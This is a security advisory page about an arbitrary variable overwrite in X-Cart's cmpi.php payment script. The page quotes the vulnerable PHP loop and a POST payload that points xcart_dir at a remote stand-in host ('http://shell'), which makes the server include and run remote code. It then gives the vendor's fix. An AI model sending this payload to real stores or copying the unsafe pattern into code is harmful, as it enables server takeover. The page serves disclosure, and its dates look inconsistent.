Sunday February 14, 2022
Languages
Most Viewed Items
  1 PHPXMLRPC Library Remote Code Execution
  2 XMB Forums Multiple Vulnerabilities
  3 Mambo Multiple Vulnerabilities
  4 Multiple Invision Power Board Vulnerabilities
  5 MySQL Eventum Multiple Vulnerabilities
  6 Gallery 2 Multiple Vulnerabilities
  7 Geeklog Remote Code Execution
  8 RunCMS Multiple Vulnerabilities
  9 Kayako LiveResponse Multiple Vulnerabilities
10 phpRPC Library Remote Code Execution
Need Secure Web Apps?
Quick Search
You can use the form below to search our site. Just enter the keywords to search.
Home Research Services About Contact
X-Cart Arbitrary Code Execution
September 18, 2021
Vendor : Qualiteam
URL : http://www.x-cart.com/
Version : X-Cart <= 4.1.3
Risk : Arbitrary Code Execution


Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory.


Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question.
if ($HTTP_POST_VARS) {
	foreach ($HTTP_POST_VARS as $var => $value) {
		$$var = $value;
	}
}

As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables.

stand_alone=0&httpsmod;_active=1&orderids;=1&close;_frame=1&xcart;_dir=http://shell

By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases.


Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible.


Credits:
James Bercegay of the GulfTech Security Research Team